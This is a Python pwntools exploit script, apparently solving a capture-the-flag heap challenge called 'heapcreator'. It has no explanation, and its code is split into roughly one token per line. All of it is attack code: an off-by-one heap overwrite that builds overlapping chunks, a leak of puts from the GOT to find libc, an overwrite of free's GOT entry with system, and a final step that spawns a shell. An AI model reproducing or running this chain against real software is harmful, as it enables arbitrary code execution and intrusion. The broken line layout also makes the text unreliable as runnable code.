from
pwn
import
*
context(arch
=
'amd64'
, os
=
'Linux'
, log_level
=
'debug'
)
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
p
=
process(
'./heapcreator'
)
heapcreator
=
ELF(
'./heapcreator'
)
libc
=
ELF(
'./libc.so.6'
)
def
create(size, content):
p.sendlineafter(b
'Your choice :'
, b
'1'
)
p.sendlineafter(b
'Size of Heap :'
,
str
(size))
p.sendlineafter(b
'Content of heap:'
, content)
p.recvline()
def
edit(idx, content):
p.sendlineafter(b
'Your choice :'
, b
'2'
)
p.sendlineafter(b
'Index :'
,
str
(idx))
p.sendlineafter(b
'Content of heap :'
, content)
p.recvline()
def
show(idx):
p.sendlineafter(b
'Your choice :'
, b
'3'
)
p.sendlineafter(b
'Index :'
,
str
(idx))
p.recvline()
def
delete(idx):
p.sendlineafter(b
'Your choice :'
, b
'4'
)
p.sendlineafter(b
'Index :'
,
str
(idx))
p.recvline()
create(
0x18
, b
'AAAAAAAA'
)
create(
0x10
, b
'AAAAAAAA'
)
edit(
0
, b
'A'
*
0x18
+
b
'\x41'
)
delete(
1
)
create(
0x30
, b
'A'
*
0x28
+
p64(heapcreator.got[
'puts'
]))
show(
1
)
puts_addr
=
u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
, b
'\x00'
))
log.success(
'puts: '
+
hex
(puts_addr))
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
system_addr
=
libc_base
+
libc.symbols[
'system'
]
binsh
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
log.success(
'libc: '
+
hex
(libc_base))
log.success(
'system: '
+
hex
(system_addr))
log.success(
'binsh: '
+
hex
(binsh))
create(
0x18
, b
'AAAAAAAA'
)
create(
0x10
, b
'AAAAAAAA'
)
edit(
2
, b
'A'
*
0x18
+
b
'\x41'
)
delete(
3
)
create(
0x30
, b
'A'
*
0x20
+
p64(
0x8
)
+
p64(binsh))
create(
0x18
, b
'AAAAAAAA'
)
create(
0x10
, b
'AAAAAAAA'
)
edit(
4
, b
'A'
*
0x18
+
b
'\x41'
)
delete(
5
)
create(
0x30
, b
'A'
*
0x20
+
p64(
0x8
)
+
p64(heapcreator.got[
'free'
]))
edit(
5
, p64(system_addr))
p.sendlineafter(b
'Your choice :'
, b
'4'
)
p.sendlineafter(b
'Index :'
, b
'3'
)
p.interactive()